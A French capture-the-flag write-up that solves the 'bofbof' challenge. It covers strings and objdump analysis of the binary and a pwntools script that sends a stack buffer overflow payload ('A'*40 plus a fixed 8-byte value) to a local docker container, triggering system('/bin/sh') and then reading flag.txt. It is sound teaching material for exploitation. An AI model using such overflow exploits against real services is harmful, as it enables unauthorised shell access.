Présentation du challenge
Le challenge contient :
docker-compose.yml: un fichier de configuration permettant d’accéder à un conteneur docker en localbofbof: un executable ELF x64, dynamically linked & not stripped
L’objectif du challenge est d’accéder au fichier flag.txt présent sur le docker.
Le seul problème ? Le programme bofbof tourne déja sur le docker.
Première approche : étude de bofbof
Commençons par lancer bofbof (pensez à render le fichier éxecutable au préalable avec chmod u+x bofbof):
Comment est votre blanquette ? >>>
Le programme demande une entrée utilisateur, rentrons AAAAAA.
Cela ferme tout simplement le programme… la solution serait donc un stack buffer overflow ?
Regardons maintenant ce que donne strings bofbof :
/lib64/ld-linux-x86-64.so.2 gets fflush exit puts printf stdout system __cxa_finalize __libc_start_main libc.so.6 GLIBC_2.2.5 _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable u/UH AAAAAAAAH AAAAAAAAH9E wfUD3" []A\A]A^A_ /bin/sh Comment est votre blanquette ? >>> Almost there! ;*3$" GCC: (Debian 10.2.1-6) 10.2.1 20210110 crtstuff.c deregister_tm_clones __do_global_dtors_aux completed.0 __do_global_dtors_aux_fini_array_entry frame_dummy __frame_dummy_init_array_entry bofbof.c __FRAME_END__ __init_array_end _DYNAMIC __init_array_start __GNU_EH_FRAME_HDR _GLOBAL_OFFSET_TABLE_ __libc_csu_fini _ITM_deregisterTMCloneTable stdout@GLIBC_2.2.5 puts@GLIBC_2.2.5 vuln _edata system@GLIBC_2.2.5 printf@GLIBC_2.2.5 __libc_start_main@GLIBC_2.2.5 __data_start __gmon_start__ __dso_handle _IO_stdin_used gets@GLIBC_2.2.5 __libc_csu_init fflush@GLIBC_2.2.5 __bss_start main exit@GLIBC_2.2.5 __TMC_END__ _ITM_registerTMCloneTable __cxa_finalize@GLIBC_2.2.5 .symtab .strtab .shstrtab .interp .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame .init_array .fini_array .dynamic .got.plt .data .bss .comment
On remarque plusieurs choses intéressantes, premièrement bofbof utilise la fonction gets: cette fonction est extrêmement vulnérable car elle prend une entrée utilisateur sans limite de taille, au point où gcc émet un warning quand elle est utilisée.
L’idée est donc bien de faire un stack buffer overflow !
De plus on remarque la présence de system et de vuln: l’executable contient une “faille” et semble capable d’accéder au système du conteneur et ainsi au flag.txt.
Essayons maintenant de lancer bofbof et cette fois de provoquer un buffer overflow :
Comment est votre blanquette ? >>>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA zsh :segmentation fault ./bofbof
Ok trop grand, réessayons :
Comment est votre blanquette ? >>>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Almost there!
D’accord donc le problème est plus fin qu’un overflow basique, passons aux choses sérieuses.
Les choses sérieuses
Commençons par objdump, ce qui nous donne le disassembly de vuln et main de bofbof :
$ objdump -d bofbof 0000000000001185 <vuln>: 1185: 55 push %rbp 1186: 48 89 e5 mov %rsp,%rbp 1189: 48 8d 3d 78 0e 00 00 lea 0xe78(%rip),%rdi # 2008 <_IO_stdin_used+0x8> 1190: e8 ab fe ff ff call 1040 <system@plt> 1195: bf 01 00 00 00 mov $0x1,%edi 119a: e8 e1 fe ff ff call 1080 <exit@plt> 000000000000119f <main>: 119f: 55 push %rbp 11a0: 48 89 e5 mov %rsp,%rbp 11a3: 48 83 ec 30 sub $0x30,%rsp 11a7: 48 b8 41 41 41 41 41 movabs $0x4141414141414141,%rax 11ae: 41 41 41 11b1: 48 89 45 f8 mov %rax,-0x8(%rbp) 11b5: 48 8d 3d 54 0e 00 00 lea 0xe54(%rip),%rdi # 2010 <_IO_stdin_used+0x10> 11bc: b8 00 00 00 00 mov $0x0,%eax 11c1: e8 8a fe ff ff call 1050 <printf@plt> 11c6: 48 8b 05 8b 2e 00 00 mov 0x2e8b(%rip),%rax # 4058 <stdout@GLIBC_2.2.5> 11cd: 48 89 c7 mov %rax,%rdi 11d0: e8 9b fe ff ff call 1070 <fflush@plt> 11d5: 48 8d 45 d0 lea -0x30(%rbp),%rax 11d9: 48 89 c7 mov %rax,%rdi 11dc: b8 00 00 00 00 mov $0x0,%eax 11e1: e8 7a fe ff ff call 1060 <gets@plt> 11e6: 48 b8 41 41 41 41 41 movabs $0x4141414141414141,%rax 11ed: 41 41 41 11f0: 48 39 45 f8 cmp %rax,-0x8(%rbp) 11f4: 74 26 je 121c <main+0x7d> 11f6: 48 b8 88 77 66 55 44 movabs $0x1122334455667788,%rax 11fd: 33 22 11 1200: 48 39 45 f8 cmp %rax,-0x8(%rbp) 1204: 75 0a jne 1210 <main+0x71> 1206: b8 00 00 00 00 mov $0x0,%eax 120b: e8 75 ff ff ff call 1185 <vuln> 1210: 48 8d 3d 1d 0e 00 00 lea 0xe1d(%rip),%rdi # 2034 <_IO_stdin_used+0x34> 1217: e8 14 fe ff ff call 1030 <puts@plt> 121c: b8 00 00 00 00 mov $0x0,%eax 1221: c9 leave 1222: c3 ret 1223: 66 2e 0f 1f 84 00 00 cs nopw 0x0(%rax,%rax,1) 122a: 00 00 00 122d: 0f 1f 00 nopl (%rax)
Ici, c’est surtout le main qui va nous intéresser on remarque premièrement l’appel à vuln :
120b: e8 75 ff ff ff call 1185 <vuln>
Mais on remarque surtout deux blocs qui expliquent que vuln n’est pas appelé en temps normal :
11f0: 48 39 45 f8 cmp %rax,-0x8(%rbp) 11f4: 74 26 je 121c <main+0x7d> . . . 1200: 48 39 45 f8 cmp %rax,-0x8(%rbp) 1204: 75 0a jne 1210 <main+0x71>
Ces deux blocs empêchent le main d’appeler vuln : deux comparaisons forcent le programme à sauter plus loin dans
le main et donc à skipper l’appel à vuln.
Le premier bloc fonctionne de la façon suivante : le programme effectue une comparaison entre eax et -0x8(%rbp)
(on reviendra plus tard sur cette valeur) et si les deux sont égaux alors le programme effectue le saut (je : jump if)
vers <main+0x7d>.
Le second compare là encore eax et -0x8(%rbp)et cette fois si les deux ne sont pas égaux alors le programme effectue
le saut (jne : jump if not) vers <main+0x71>.
Mais alors que vaut eax ? Deux lignes nous donne la réponse :
11e6: 48 b8 41 41 41 41 41 movabs $0x4141414141414141,%rax . . . 11f6: 48 b8 88 77 66 55 44 movabs $0x1122334455667788,%rax
Ainsi lors de la première comparaison eax vaut 0x4141414141414141 (soit ‘AAAAAAAA’ en ASCII).
Lors de la seconde il vaut 0x1122334455667788.
Maintenant tentons de comprendre ce que vaut -0x8(%rbp) pour cela lançons gdb et plaçons nous juste avant l’appel à
gets :
On a donc la valeur actuelle de -0x8(%rbp) et c’est celle-ci qu’il va falloir changer, l’objectif est donc d’y écrire
0x1122334455667788 pour que le programme ne prenne aucun des deux sauts.
Avançons donc d’une instruction pour voir où se trouve le buffer issu de gets :
On a donc l’emplacement du buffer dans la stack et surtout son emplacement relatif par rapport à rbp (différence de 0x38).
Ainsi, il faut rentrer par exemple "A"*40 + 0x1122334455667788 pour réécrire correctement -0x8(%rbp).
Il suffit maintenant d’effectuer ceci sur le conteneur docker et pour cela, nous allons utiliser un script python.
Dans le cas d’un CTF le conteneur tourne sur un serveur du CTF, ici on peut le lancer localement avec
docker compose up --detach(dans le dossier où se trouve ledocker-compose.yml).
Pour arrêter le conteneur:docker compose down😉
Le script
Voici bofbof.py
from pwn import *
target = remote("localhost", 4000) ## connection au docker
print(target.recv())
padding = b"A"*40 ## construction de la réponse
payload = p64(0x1122334455667788)
print(padding+payload)
target.sendline(padding+payload) ## envoi de la réponse
target.interactive() ## laisse le terminal du docker ouvert
Lançons bofbof.py et regardons ce que cela donne :
On a donc réussi à accéder à un terminal et cat flag.txt permet d’accéder à flag.txt.